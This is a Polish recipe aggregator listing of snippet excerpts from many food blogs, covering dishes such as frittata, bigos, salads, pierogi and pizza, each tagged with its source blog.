Frittata z batatem i szpinakiem 128

piekarnika i zapiekaj przez 13-15 minut aż frittata będzie pulchna a jajka nie będą płynne. Podawaj od razu, najlepiej z dodatkiem sałatki z świeżych liści szpinaku z sosem sałatkowym . Smacznego! Artykuł Frittata z batatem i szpinakiem pochodzi z serwisu nietylkopasta.pl

nietylkopasta.pl
Fit sernik z jabłkami i karmelem. 143

jabłka średniej wielkości – sok z limonki – szczypta kardamonu – 1 łyżeczka cynamonu – 480 ml wody – 30 g mąki ziemniaczanej – 90 g erytrytolu Sos karmelowy: – 60 ml mleczka kokosowego z puszki – 20 g syropu klonowego – 20 g brązowego cukru – 20 g masła orzechowego Mleczko kokosowe trzymamy w lodówce przez 24 godziny. Olej

Zdrowy Styl Joanny
Sałatka z tuńczyka 137

pokrojoną drobno pęczek szczypiorku sok z jednej cytryny ½ łyżeczka płatków chilli 5 ugotowanych na twardo jajek pęczek rzodkiewek pokrojonych w półplasterki wszystko razem mieszamy w misce i łączymy z sosem 2 łyżki majonezu 1 łyżka jogurtu naturalnego 1 łyżeczka musztardy ziarnistej doprawiamy solą i pieprzem. Można dodać pęczek pietruszki. Możecie do tej sałatki dodac drobno pokrojone ogórki konserwowe lub kiszone

ladykitchen
Zdrowsze Święta – przepisy wytrawne 116

śmietaną – zupa będzie lżejsza. W wielu domach króluje sałatka wielowarzywna – oczywiście grubo posmarowana majonezem z wierzchu. Można ją łatwo “przerobić” na lżejszą wersję używając na sos majonezu light wymieszanego pół na pół z jogurtem naturalnym. Pierogi będą bardziej odżywcze, jeśli mąkę pszenną zamienimy na jasną orkiszową – ma więcej cennych składników odżywczych. Jeśli dodatkowo choć

Poezja smaku
Przepyszne placki ziemniaczane 156

jest odrobina pieprzu i majeranku. Powinno się podawać je zaraz po usmażeniu, aby pozostały chrupkie. Mogą być podawane na słono np.jako placki ziemniaczane z gulaszem czy różnego rodzaju innymi sosami oraz na słodko z cukrem i śmietaną lub twarożkiem czy konfiturami lub też jako placki ziemniaczane po zbójnicku albo placki ziemniaczane po węgiersku . (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Przepyszne placki ziemniaczane

ProstePesto.pl
PRÓŻNIOWE PAKOWANIE ŻYWNOŚCI- CZY WARTO? 109

dłużej świeża i nie jest wysuszona. Mięso oprócz tego, pozostaje świeże na dłużej to można je dodatkowo zamarynować oraz gotować metodą sous-vide. Sery, brokuły, pieczywo, pozostały z obiadu sos, zupa, ryby, nadmiar ciasta po różnych impreza okolicznościowych w domu... pakuję próżniowo praktycznie wszystko.  Jestem już w posiadaniu  zgrzewarki próżniowej FoodSaver model FFS016X ,  ręcznego urządzenia do pakowania

Zrób to smacznie
Bigos staropolski 98

jeszcze godzinę. Pilnujcie poziomu płynów w garnku, żeby bigos się nie spalił. Jeżeli płynu jest za dużo, gotujcie więcej bez pokrywki. Chodzi o to, żeby bigos nie pływał w sosie, ale też żeby nie był za suchy. Jeżeli finalnie bigos wyszedł dla Was za mało kwaśny, dolejcie do niego kwasu z kapusty. Ja dolałam 1/3 szklanki soku z kiszonej kapusty

Kardamonovy
Kotlety mięsno - ziemniaczane 139

przestudzoną dodać do masy Doprawić do smaku przyprawami, formować kotlety i smażyć na rozgrzanym tłuszczu z obu stron na rumiano. Takie kotlety mnie najbardziej smakowały zaraz po usmażeniu. Z sosem np. pieczarkowym też dobre, ale trzeba uważać by ich nie rozgotować, bo się rozlecą. Można podać je tylko z ulubioną surówką, a może z bigosem

Proste Potrawy
Świąteczna sałatka Caprese. 146

tych składników na siebie aby pięknie komponowały się ze sobą i tworzyły piękną laskę cukrową. W misce połącz oliwę z oliwek, sól, pieprz oraz ocet balsamiczny. Wymieszaj. Gotowym sosem polej sałatkę caprese. Podaj i smacznego. Jeśli szukasz zabawnej, szybkiej i zdrowej sałatki na Święta Bożego Narodzenia to biegnę z pomocą. Przekształć prostą, jednak pyszną sałatkę Caprese w zabawną i świąteczną

Zdrowy Styl Joanny
Proste placki z cukinii 138

dobrze je przyprawić, ponieważ główny składnik czyli cukinia jest bardzo neutralna w smaku. Świetne jako dodatek do dań głównych np. gulaszu lub jako samodzielne danie np. z sosem pieczarkowym lub tzatzikami . Cukiniowe placki, warto najpierw podgotować lub posolić startą cukinię i cebulę, a następnie dokładnie odcisnąć z nadmiaru wody. Wpłynie to na to, że placki nie będą rozpadać się podczas

ProstePesto.pl
Prosta zapiekanka z bakłażana i fety 80

wody. Warzywo ma się lekko poddusić. W tym czasie rozgrzewamy piekarnik na 180 stopni, funkcja góra-dół. Fetę rozkruszamy i mieszamy z posiekaną bazylią. Na koniec podgrzanego bakłażana z sosem pomidorowym przelewamy do naczynia żaroodpornego, a na wierzch kładziemy rozkruszony ser. Danie zapiekamy przez około 15 minut. Przed podaniem posypujemy orzeszkami pinii. Smacznego! Jedna porcja to: około 296kcal Białko

Natka Pietruszki
Jesienne krokiety 113

płynu ,ostudzamy. Mieszamy ze startym serem. Oprószamy solą i pieprzem.   Farsz umieszczamy na naleśnikach, zawijamy i zapiekamy w temperaturze 180°C przez 30 minut.   Podajemy z ulubionym sosem.       Normal 0 21 false false false MicrosoftInternetExplorer4 st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Wigilijna zupa grzybowa 91

zupy w pojemniku do kostek lodu . Co ważne, nie musisz przechowywać ich cały czas w tym pojemniku. W ten sposób będziesz mógł ją wykorzystać do wzbogacenia smaku innych zup, sosów lub gulaszu . Już nawet jedna lub dwie kostki mogą zrobić sporą różnicę. Wigilijna zupa grzybowa Wigilijna zupa grzybowa – przepis Składniki: wigilijna zupa grzybowa 180 g suszonych grzybów (np. podgrzybków

okolicepalnika.pl
10 prezentów kulinarnych pod choinkę 2021 123

miseczek do przekąsek i dipów Zestaw trzech miseczek na porcelanowej tacy sprawdzi się w czasie spotkań rodzinnych i imprez. Każda miseczka ma innych kształt. W miseczkach można podać przekąski, sosy czy dipy. W miseczkach pięknie prezentować się będą oliwki, kapary i bakalie. Zestaw został wykonany z klasycznej porcelany, a jego dodatkowym autem jest bożonarodzeniowy motyw. Cena: 129 zł Gdzie kupić

My Chcemy Jeść
Owsianka z dynią, rodzynkami i orzechami 101

trzymam maksymalnie 4 dni. Możecie je oczywiście także zawekować albo zamrozić. A potem już możecie jechać z koksem. Bo takie puree jest świetne do ciast, babeczek, do sosów, zup, klusek, naleśników i innych racuchów. Owsianka z dynią, rodzynkami i orzechami jest naprawdę przepyszna. Jest rozgrzewająca, słodka, sycąca. Na jesienne śniadania jest jak znalazł, o ile rano macie luźne 10 minut

Kardamonovy
Jesienna pizza z dynią, gorgonzolą i miodem na kamieniu Enders 140

bardzo jesienną i bardzo niecodzienną pizzę, którą przygotowałam również niecodzienny dla siebie sposób. Oto pizza, która łączy w sobie ciepło i przytulność jesiennej kuchni. Nie znajdziecie tu pomidorowego sosu, za to rozsmakujecie się w aromatycznej oliwie z rozgrzewającymi przyprawami. Nie ma tu mozzarelli ale między kawałkami pieczonej dyni czeka kremowa i charakterna gorgonzola. Do tego wędzony boczek z dymnym posmakiem

Kuchnia w Słońcu Skąpana
Gzik – przepis tradycyjny (keto, low carb) 129

Quiche z kurkami i serem Fritatta ze szpinakiem (keto) Kalafior pieczony w panierce Kulebiak z kapustą i grzybami Jajeczne placki z cukinii (keto) Pierogi z kapustą i grzybami (wegańskie) Sos kurkowy Kapusta z grzybami Najnowsze przepisy Gzik – przepis tradycyjny (keto, low carb) Tiramisu z bitą śmietaną Deser snickers – wersja fit Curry z cukinią (wegańskie) Focaccia tradycyjna (wegańskie) Keto

WegePrzepis
Kurczak z dynią i pieczarkami 137

suszone grzyby oraz przecedzoną przez sitko wodę z namaczania grzybów. Dodaj kremówkę, puree z dyni (opcjonalnie) oraz sól i pieprz i gotuj na niedużym ogniu przez 30 minut. Jeśli sos robi się zbyt gęsty dodaj kilka łyżek wody lub bulionu. Podawaj z kaszą, makaronem lub ziemniakami z dodatkiem posiekanej natki pietruszki. Przygotowałeś/aś ten przepis? Podziel się efektem! Zostaw

Na-talerzu.pl
Keto śniadaniowy wrap jajeczny (Paleo, LowCarb) 131

Wrap jest w dodatku trzyskładnikowy, bardzo prosty w wykonaniu i smaczny, choć smak całości nadaje nadzienie. U mnie, była to akurat domowej roboty szynka , sałata i plasterki jalapeno, a sos to po prostu majonez zmieszany z musztardą. Wrap w wersji keto pojawił się już kiedyś na blogu – był to wrap na bazie lnu . Mimo, że jest bardzo smaczny, to muszę

Modern Cave Girl
Wykwintna sałatka z figami. 139

wysypujemy umytą sałatę, dodajemy winogrona, odsączone kuleczki sera mozzarella oraz pokrojone na ćwiarteczki świeże figi. W miseczce łączymy oliwę z oliwek, ocet balsamiczny oraz sól i pieprz. Mieszamy. Gotowym sosem polewamy sałatkę i całość mieszamy. Ta sałatka z miksem świeżych sałat z figami , mozzarellą i winogronem jest tak ładna, naprawdę smaczna i pełna zdrowych składników. Jeśli jeszcze nigdy nie próbowaliśmy

Zdrowy Styl Joanny
Pieczone fish and chips 131

frytki nie stykały się ze sobą. Wstaw do piekarnika na dolną półkę. Na górną wstaw ryby. Piecz 30 minut. Po 15 minutach odwróć frytki na drugą stronę. Podawaj z sosem jogurtowym, doprawionym suszonym czosnkiem i sokiem z cytryny. Smacznego! Artykuł Pieczone fish and chips pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Spaghetti alla checca 113

Checca danie typowe i tradycyjne dla Rzymu. Jego wyjątkowość polega na tym, że jest to danie, które można zjeść na zimno a złożone jest ze świeżych i surowych składników. Sos z surowych pomidorów to właśnie Checca, którego pochodzenie jest jak zwykle niejasne 😊. Jedni uważają, że nazwa pochodzi od imienia Francesca być może iminia kucharza, który stworzył to danie 😊 W Rzymie

RafalCook
Placuszki na twarogu 102

mieszam łyżką do połączenia. Jabłka obieram, kroję w kostkę i dodaję do ciasta. Placuszki smażę na niewielkiej ilości oleju. Można podawać z kwaśną śmietaną, bitą śmietaną lub ulubionym sosem, bądź polane syropem z agawy. Placuszki na twarogu gotowe. Smacznego Artykuł Placuszki na twarogu pochodzi z serwisu Słodki sentyment

Słodki sentyment
Pieczone udka kaczki z pomarańczami i żurawiną 121

zalewą oraz plastry pomarańczy. Posyp kaczkę majerankiem i świeżo zmielonym pieprzem. Wstaw do piekarnika nagrzanego do 190 stopni (góra-dół) i piecz przez 1 godzinę 30 minut, regularnie podlewając sosem. Podawaj z ziemniakami, kaszą lub kluskami śląskimi. Przygotowałeś/aś ten przepis? Podziel się efektem! Zostaw komentarz poniżej. Nie zapomnij też oznaczyć @przepisynatalerzu i dodać hashtag #przepisynatalerzu na Instagramie

Na-talerzu.pl
Wołowe kofty z dodatkami 111

łyżka siekanych ziół – użyłam mięty i oregano sól i pieprz do smaku Dodatkowo: 4 chlebki pita kilka listków sałaty rzymskiej – użyłam też odrobinę pekińskiej mała czerwona cebula Sos tzatziki: 3 ogórki gruntowe 1 duży ząbek czosnku 2 łyżki soku z cytryny 4 czubate łyżki jogurtu greckiego sól i pieprz do smaku Marynowane rzodkiewki: 4 rzodkiewki 3 łyżki octu

Smaczna Strona
Sałatka grillowa z pomidorami, ogórkami i papryką 131

Idealna na grilla. Zastanawiałam się czy wpisywać w tytule słowo „grillowa”, ale tak, zdecydowanie trzeba. Grecka, szopska, pomidorowa z sosem czosnkowym i serem żółtym. I właśnie tytułowa, to dla mnie idealne dodatki do potraw z grilla. Sezon powoli się kończy. I na ruszty i na część warzyw. Nie będę już dłużej zwlekać z publikacją

Kardamonovy
Jak zrobić ocet jabłkowy – staropolski przepis babci 180

spirytusowego ze sklepu. Do czego używam ocet jabłkowy? Ocet jabłkowy wykorzystuję zamiennie wszędzie tam gdzie używa się octu sklepowego: sałatki (na przykład sałatak z ogórków na zimę , przetwory zimowe , sosy, mikstur ziołowych… Pamiętaj, że w domowym occie jest 5% kwasu octowego, podczas gdy sklepowy ocet ma 10%. Uwzględnij to przy dodawaniu do potraw. Z octu jabłkowego możesz przygotować pyszny

Ania gotuje
Winogrona. Właściwości, zastosowanie, ciekawostki 153

soków. Słodycz tych owoców przyczyniła się do wszechstronnego zastosowania w kuchni. Świeże, zmiksowane, przetarte, gotowane, mrożone to składnik deserów, sałatek, wypieków, dodatek do wytrawnych mięs, do drobiu, do łososia, sosów, wspaniale smakują w połączeniu z serem pleśniowym lub fetą. Winogrona świeże i suszone to produkt wykorzystywany w kuchni całego świata. Olej z pestek winogron to jeden z najpopularniejszych olejów roślinnych

ProstePesto.pl
3 pomysły na błyskawiczne dania. Niezapowiedziani goście? Żaden problem! 230

nawet 3! Dzisiaj podzielę się z Wami moimi metodami na szybkie przekąski na imprezę, które przygotujesz dosłownie w 5 minut. Zacznę od mojego faworyta – pomidory przekładane mozzarellą w sosie sałatkowym

Prosty przepis na
Olej rzepakowy – zdrowy, tani i wszechstronny. Dlaczego warto go stosować? 136

wszystkich rodzajów olejów – ma najniższy poziom tłuszczów nasyconych. Czyni go to bardzo zdrowym wyborem. Wszechstronne zastosowanie. Można wykorzystać go do smażenia, pieczenia, marynowania, a także przygotowywania pysznych sosów i sałatek.  Wysoka temperatura gotowania.  Olej rzepakowy rafinowany  ma wysoki punkt dymienia. Oznacza to, że nie ulega zapłonowi do temperatury ok. 205 stopni Celsjusza. Sprawia

I LOVE LIFE
Pikantna sałatka z rukolą i kabanosem z chilli 139

sałatkowy typu feta 2-4 kabanosy z dodatkiem chilli spora garść pomidorków koktajlowych 2 ogórki gruntowe 3 suszone pomidory w oliwie zielone oliwki Dressing: oliwa z zalewy z pomidorów sos chilli ostry musztarda francuska dowolna przyprawa do sałatek Sposób przygotowania: 1. Rukolę umyć, osuszyć delikatnie ręcznikiem papierowym. 2. Umyte koktajlowe pomidorki oraz zielone oliwki przekroić na pół, obrane ogórki

Kuchnia domowa Ani
Gołąbki ziemniaczane z mięsem – kuchnia podkarpacka 120

więcej niż woda – rosołem, posoloną wodą z suszonymi grzybami lub wodą wymieszaną z przyprawionym przecierem pomidorowym. Nabiorą lepszego smaku, a płyn który nie odparuje można wykorzystać jako bazę do sosu. Tradycyjne gołąbki zawijamy zazwyczaj na dwa sposoby. Bliżej nasady liścia układamy porcję farszu i albo rolujemy liść, a potem boki wciskamy do środka, albo robimy zakładki z boków liści

Trzeci talerz
Śliwki w occie na zimę 764

Sprawdzony przepis na pyszne śliwki węgierki marynowane w occie na zimę. Idealne jako dodatek do mięs, sosów oraz pieczeni. To najsmaczniejsze całe śliwki w occie bez pasteryzacji według receptury, która jest w naszej rodzinie od wielu lat. Jakie śliwki do octu? Jak długo gotować śliwki w occie? Zobacz koniecznie! Śliwki w occie przepis z goździkami i tradycyjną zalewą polecamy wszystkim

Kuchnia Na Wypasie
Sałatka z melonem szynką i serem mozzarella 125

melonów z melonów wykrawamy kuleczki. Układamy kawałki melona na talerzu, dodajemy kulki sera mozzarella, pomiędzy układamy kawałki zwiniętej szynki i połówki pomidorów. Dekorujemy listkami bazylii. W miseczce przygotowujemy lekki sos: mieszamy 1 łyżkę oliwy, 1 łyżkę soku z cytryny i trochę soku z melona (którego zostanie po wydrążeniu pestek), którym polewamy sałatkę. Całość doprawiłam skomponowaną przeze mnie mieszanką przypraw

Damsko-męskie spojrzenie na kuchnię
10 sposobów na tanie i szybkie obiady 122

razy pomyśl, do czego można użyć resztek. 6. Wekowanie jedzenia To idealna metoda na przechowywanie gotowych dań, a nawet tego, co zostało z obiadu. Nic prostszego, resztki mięsa w sosie czy zupy wkładamy do czystego słoika, porządnie zakręcamy i wkładamy na pół godziny do piekarnika. W dniu, gdy absolutnie nie mamy czasu, dokupujemy gotową surówkę i odkręcamy słoik. 7. Mrożenie

ProstePesto.pl
Kopytka z serem 380

kluski leniwe z serem i ziemniakami). Od tradycyjnych kopytek różnią się jedynie dodatkiem twarogu oraz jajka. W mojej rodzinie najczęściej podajemy kopytka polane zarumienioną na maśle bułką tartą lub sosem z pieczarkami. To smak mojego błogiego dzieciństwa. Sprawdź jak w prosty i szybki sposób przygotować tą uniwersalną potrawę, która pasuje do wielu dań obiadowych oraz na kolację. Kopytka to świetny

Ania gotuje
Risotto z borowikami i prosciutto 126

pokrywką i pozostaw na jakieś 5-7 minut. Na koniec przed podaniem dobrze wymieszaj. W razie potrzeby dopraw. Nałóż i zjedz, ja lubię rissoto w którym jest odrobinę więcej sosu 😉 Załóżmy, że z jakiegoś powodu nie lubisz blogów, ale za to masz Instagram, zapraszam więc do obserwowania mojego skromnego profilu. Od jakiegoś czasu pod zdjęciami znajdują się oczywiście przepisy. ⤵️ Facet

RafalCook
Awokado, cenne źródło zdrowia 115

postaci kremów, podawać z pieczywem, można łączyć z przyprawami. Smakuje jako dodatek z jajkiem, wędzonym łososiem, szynką parmeńską, warzywami. Dojrzały owoc stosowany jest jako zamiennik masła. Słynny meksykański sos Guacamole (salsa) sporządzany jest na bazie awokado. Spożywa się go zazwyczaj z plackami tortilla, nachosami lub podaje w miseczkach, jako przekąskę między posiłkami. Artykuł Awokado, cenne źródło zdrowia pochodzi z serwisu

ProstePesto.pl
Placki ziemniaczane z cukinią i papryczkami padron 111

stylu hiszpańskim, które serdecznie was polecam. Świetnie sprawdzi się na letni obiad, lunch czy kolację. Danie jest wegetariańskie, bardzo smaczne i sycące. Można podać je ze śmietaną lub innymi sosami np tex-mex, bbq, czosnkowym, ketchupem. Koniecznie w towarzystwie sałaty czy chrupiących, surowych warzyw. Papryczki padron – jedliście już? Ich nazwa pimientos de Padron wywodzi się od hiszpańskiego miasta Padron. Sławne

Dorota Smakuje
Najlepsze marynaty do mięs – poznaj te przepisy! 123

zastosujemy odpowiedniej marynaty. Jednym z najlepszych przepisów na marynatę do karkówki jest taki, do którego potrzebujemy:  oleju,  musztardy ostrej, kilku ząbków czosnku przeciśniętych przez praskę,  sosu sojowego,  soli i pieprzu.  Wszystkie składniki należy wymieszaj i następnie natrzyj marynatą plastry karkówki. Mięso odstaw do lodówki na całą noc. Natomiast świetna marynata, która idealnie pasuje do równie

Rozdomowiona
Zupa krem z pieczonej papryki 103

zakładkę “ zupy kremy ” lub odwiedzić stronę Przepisy.pl Papryka po upieczeniu jest rewelacyjna! Intensywna i bogata w smaku. Można ją wykorzystać jako dodatek do różnych smarowideł kanapkowych , sosów, zup , placuszków , sałatek (przykładowy przepis znajdziesz tutaj ) lub zawekować na zimę. Pomysłów jest mnóstwo! Wystarczy troszkę kreatywności Kilka słów o papryce Warto wspomnieć o walorach zdrowotnych papryki. Witaminy C zawiera dużo

Oryginalny smak
Pierogi z kurkami i białym serem – kuchnia podkarpacka 134

Pierogi z kurkami i białym serem – kuchnia podkarpacka Lokalizacja: Nowa Wieś, Gmina Trzebownisko, powiat rzeszowski Sezon na kurki wciąż trwa, więc jeśli macie ochotę wykorzystać je inaczej niż do sosu kurkowego zachęcam do ugotowania pierogów. Farsz z kurek i białego sera jest smaczny i łatwy w przygotowaniu, a pierogi w takim wydaniu są rzadkością, więc na pewno zaskoczą Waszych domowych

Trzeci talerz
Chlebek pita 111

pracuje się z ciastem, a chlebki pięknie wyrastają. Chlebek pita – z czym podawać Pita chłonie smaki jak gąbka, więc jest idealny do płynnego farszu, np. curry z zawiesistym sosem. Możecie go też wypełnić falafelami, kebabem czy shoarmą, dodać warzyw, trochę hummusu i obiad gotowy. Świetnie smakuje też nafaszerowany sałatką. Pita może też zastąpić pieczywo – przygotujecie w niej pyszne

Na-talerzu.pl
Warzywna lasagne z bakłażanem i indykiem 94

ODŻYWCZE DLA 1 PORCJI: około 477kcal Białko: 45,3g Węglowodany: 25,8g Tłuszcz: 23,1g Błonnik pokarmowy: 9,5g Ładunek glikemiczny: 5,9 Spróbuj także: zapiekanka makaronowa z warzywnym sosem, pizzerinki z bakłażana z zielonym groszkiem. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na Facebooku i Instagramie Tam częściej pojawiają się zdrowe pyszności Artykuł Warzywna

Natka Pietruszki
🍅 Pomidory pod pierzynką - błyskawiczna przekąska 🍅 587

pęczka Sól Pieprz Przygotowanie: Pomidory pokroić na plasterki i ułożyć na talerzu. W misce wymieszać jogurt z majonezem, łyżką sera, przeciśniętym czosnkiem, solą oraz pieprzem. Pomidory polać gotowym sosem. Na wierzch posypać pozostały ser i posiekany szczypiorek. Smacznego! Zapraszam was również do odwiedzania  mojego Facebooku gdzie dodaje wszystkie swoje przepisy: Polub mnie na Facebooku Zapraszam do oglądania filmu

Kulinarne przygody
Naleśniki – sprawdzony przepis 110

udać! Sprawdź również sprawdzony przepis na naleśniki zapiekane z kurczakiem i serem , a także na domowe krokiety z pieczarkami i serem . Polecamy także pomysł na naleśniki z serem i sosem malinowym . Jak zrobić ciasto na naleśniki? Zapraszamy na przepis! Szklanka ma 250 ml Naleśniki – sprawdzony przepis Składniki mleko: 1 szklanka woda gazowana: 0,5 szklanki mąka pszenna

Kuchnia Na Wypasie
Letnia sałatka z fetą, kuskusem i warzywami 136

Mój sposób na kuskus Najbardziej podstawową metodą na przygotowanie kuskusu jest namoczenie go w gorącej wodzie. I to wystarczy, gdy podajemy kaszę do dania, w którym ma szansę nasiąknąć sosem. Jednak w sałatce kuskus potrzebuje nieco doprawienia. Dlatego zamiast czystej wody, dodaję do niego gorący bulion warzywny. Zawsze mam w szafce ekologiczny bulion właśnie na takie okazje. Drukuj Letnia sałatka

Na-talerzu.pl
Pizza wegetariańska 105

pyszna propozycja na danie obiadowe lub kolację dla całej rodziny. Przepyszne i puszyste ciasto z chrupiącymi brzegami, które zawsze wyjdzie. Do tego ulubione, dobre składniki i smaczny, ekspresowy sos pomidorowy (z koncentratu pomidorowego) oraz mozzarella. Polecam Ci zatem mój sprawdzony przepis na ciasto na pizzę oraz dobór składników, dzięki którym pizza wegetariańska zasmakuje Ci na pewno! Pizza wegetariańska SKŁADNIKI

Zasmakuj Kuchni
Turecka pizza z mięsem 111

minut, aż ciasto nabierze złotego koloru.  9. Po upieczeniu na wierzchu każdej pizzy układam plasterki pomidora, gałązkę natki pietruszki i skrapiam sokiem z cytryny. Podaję na gorąco z sosem jogurtowym Turecka pizza z patelni. Patelnia rozgrzewam na bardzo silnym ogniu. Układam na niej przygotowaną wg powyższego przepisu pizzę. Nakładam pokrywkę i smażę pod przykryciem około 4 minut. Zdejmuję pokrywkę

Cztery Fajery
smaczne kotlety jajeczno-szpinakowe... 135

patelni je widelcem spłaszczyć i smażyć na rumiano z każdej strony - bardzo smaczne kotlety jajeczno - szpinakowe, doskonale smakują na ciepło z surówkami ale też na zimno z różnymi sosami smakowymi.........SMACZNEGO

W Mojej Kuchni Lubię
Czereśnie do naleśników i omletów 95

Sezon na czereśnie trwa więc trzeba to wykorzystać, tym bardziej że w tym roku są wyjątkowo dorodne. Proponuję czereśnie , sos czereśniowy do naleśników i omletów. 600 g czereśni, 2 – 3 łyżki cukru trzcinowego, płaska łyżeczka do kawy cynamonu mielonego, sok z 1 pomarańczy, skórka otarta z pomarańczy, sól, chili w proszku, Czereśnie umyć, osuszyć i wydrylować. Następnie każdą czereśnię przekroić

królestwo garów
Menu na tydzień: Obiady z sezonowych warzyw 132

groszku i bobu. Do towarzystwa, smaku i koloru znalazł się między nimi łosoś. Wędzona ryba doskonale znosi obecność warzyw, a już szczególnie młodych, kremowych ziemniaków. Całość polana jest gęstym sosem, zrobionym na bazie koziego sera. Równie dobrze można zamiast niego użyć fety. Zobacz przepis Stek z kalafiora No to jest po prostu hicior. Są tacy, którzy nie znoszą wegetariańskich odpowiedników

Niedzielny kucharz
Pieczone ziemniaki z gzikiem i boczkiem 121

ulał i z wielką przyjemnością zajadaliśmy ten specjał pochodzący z wielkopolski. Samodzielnie w domu postanowiłam odtworzyć przepis na pieczone ziemniaki w mundurkach i twarogowy gzik. Postanowiłam dodać do sosu skarmelizowane skwarki z boczku i odrobinę smażonej cebulki, w moich wyobrażeniach była to kompozycja idealna. Nie pomyliłam się ani trochę. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Pieczone ziemniaki w mundurkach z gzikiem

ProstePesto.pl
Sałatka z serem halloumi 134

sałat: 1 op. pomidory koktajlowe: 10 szt. rzodkiewki: 5 – 6 szt. marchew: 1 szt. fasola biała: 1 puszka ser halloumi: 200 – 250 g sezam: 2 łyżki Na sos: olej lub oliwa z oliwek: 2 – 3 łyżki ocet balsamiczny: 2 łyżki musztarda Dijon: 1 łyżeczka miód: 1/2 łyżeczki suszona pietruszka: 1 łyżeczka sól i pieprz do smaku Sałatka

Kuchnia Na Wypasie
Rodzicu, bądź przykładem dla swojego dziecka! 100

oczyszczonej, białej mąki pszennej, nawet kilka razy dziennie, w różnej postaci. Zwykle na śniadanie jest rogal lub bułka, później ciasteczka, na obiad naleśniki lub biały makaron z jakimś sosem, a na kolację ponownie kanapka z białego pieczywa. Nie tędy droga! Nic się nie stanie, jeśli Wasze dziecko od czasu do czasu zje rogala, ale na pewno tego typu pieczywo

Natka Pietruszki
pyszne kluski z surowych ziemniaków... 146

koniec wsypać sól, pieprz mielony, majeranek i zdjąć z ognia - bardzo smaczne, łatwe, sycące kluski z surowych ziemniaków, z okrasą z cebuli smakują wybornie ale też i do sosów , kapusty kiszonej zasmażanej pasują doskonale.........SMACZNEGO

W Mojej Kuchni Lubię
Rybne pulpety z sałatką z ziemniaków i bobu 129

dusić i smażyć, ale najlepiej smakuje prosto z grilla lub pieczony. Możemy go podać skropionego sokiem z cytryny i oliwą z oliwek. Pyszny będzie także na przykład z lekkim sosem i warzywami.  Rybne pulpety z sałatką z ziemniaków i bobem  Czas przygotowania: 40 minut Składniki: 2 turboty 1/2 czerwonej małej cebuli 1 łyżka posiekanego koperku 1 jajko

Kulinarne przygody Gatity
Sałatka z pomidorów do obiadu 100

wlać ocet, dodać cukier, sól i pieprz - wymieszać. Następnie włożyć posiekaną czerwoną cebulę i zamarynować. Krok 2. Pokrojone pomidory ułożyć na półmisku, na nich ułożyć czerwoną cebulę, skropić pozostałym sosem z marynowania cebuli. Gotową sałatkę z pomidorów i cebuli posypać przed podaniem posiekanym szczypiorkiem lub natką pietruszki. Miłego gotowania! Sałatka z pomidorów do obiadu

Moja Książka Kucharska
Drobiowe kotleciki szu szu 113

upieczenia bezików . Takie kotleciki z piersi kurczaka są bardzo delikatne i miękkie. Będą idealne z ziemniakami albo frytkami i chrupiącą surówką z kapusty. Świetnie pasują do nich różne sosy, na przykład czosnkowy lub koperkowy. Jeśli macie pomysł, skąd wzięła się ich nazwa, dajcie znać w komentarzach :) Smacznego:) TUTAJ znajdziecie więcej moich pomysłów na kurczaka :) Polecam również mojego kurczaka zapiekanego

Lekcje w kuchni
Domowe lody śmietankowe 114

słodką przekąskę. Jest tak wiele dodatków, które doskonale smakują z lodami śmietankowymi. Możesz dodać świeże owoce sezonowe, pokruszone ciasteczka np. oreo. Świetnie sprawdzą się posiekane orzechy, starta czekolada oraz sos karmelowy. Lody śmietankowe z mlekiem w proszku, to jedna z wielu propozycji na pyszne desery, jakie znajdziesz na Naszym Blogu. Poznaj przepis na lemoniadę z arbuza i cytryny , a także

Kuchnia Na Wypasie
Kalafior w cieście 574

cieście to z pewnością godna uwagi alternatywa dla klasycznego kalafiora z bułką tartą i masłem. Będą świetnym dodatkiem do dań mięsnych. Jako samodzielne danie idealnie komponują się z domowym sosem czosnkowym. To pyszna propozycja nie tylko dla wielbicieli kalafiora. Zobacz nasz przepis na kalafiora w cieście i zainspiruj się innymi pomysłami na to popularne i lubiane warzywo. Poznaj przepis

Kuchnia Na Wypasie
Dieta Ketogeniczna Śródziemnomorska 157

minuty. Jedna porcja to 812kcal. Tłuszcz: 60g, Węglowodany netto: 7.1g, Białko: 58g Kolacja – Sałatka z fetą i tuńczykiem 50g sera feta (nie typu feta) 100g tuńczyka w sosie własnym 2 łyżki oliwy 10 czarnych oliwek 0,5 główki sałaty rzymskiej pieprz do smaku Sałatę porwij na mniejsze kawałki. Tuńczyka wypłucz z zalewy i rozdrobnij. Przekrój oliwki na połówki

ZGruntuFit
Zmiany w zwyczajach żywieniowych Polaków – w którą stronę zmierza nasza dieta? 111

dodatkiem zdrowych tłuszczy. Kucharze starają się unikać głębokiego smażenia, tak charakterystycznego dla tradycyjnej, polskiej kuchni i skłaniają się w stronę zdrowszego grillowania. Kuchnia włoska czy grecka to także lekkie sosy, bez dodatku ciężkiej śmietany czy majonezu, do których przyzwyczaiły nas nasze mamy i babcie. Specjaliści do spraw żywienia jednogłośnie twierdzą, że wpływy kulinarne z obszaru Morza Śródziemnego przyczyniają się również

FoodMagazine.pl - Przepisy kulinarne
Calzone nadziewana pizza w kształcie pieroga 123

wykonane z drożdżowego ciasta pizzowego, nadziane ulubionymi składnikami. To jeden z tych przepisów, do którego możesz wykorzystać wszystko co tylko znajdziesz w lodówce: plasterki szynki, mięso mielone, ser, paprykę, sos pomidorowy. Do nafaszerowania wnętrza calzone sprawdzi się prawie wszystko, możesz wykorzystać do tego resztki z lodówki unikając tym samym marnowania żywności. Przygotowanie calzone jest prawie tam samo banalnie proste

ProstePesto.pl
Carbonara z boczkiem, śmietaną i serem 160

Przepisy na diecie Ketogenicznej Uwielbiam to danie, mogłabym je jeść codziennie. Wspaniałe połączenie boczku i śmietany daje nam aksamitny sos. Składniki na jedną porcje: Cukinia – jedna sztuka (duża ok 300 g), boczek wędzony 60 gram – najlepiej kostka, ale może być też paski, czosnek 2 ząbki przeciśnięte przez praskę lub starty na tarce, oliwa z oliwek 1 łyżka stołowa

Keto - Meto Przepisy
Zapiekanka makaronowa ze szparagami 107

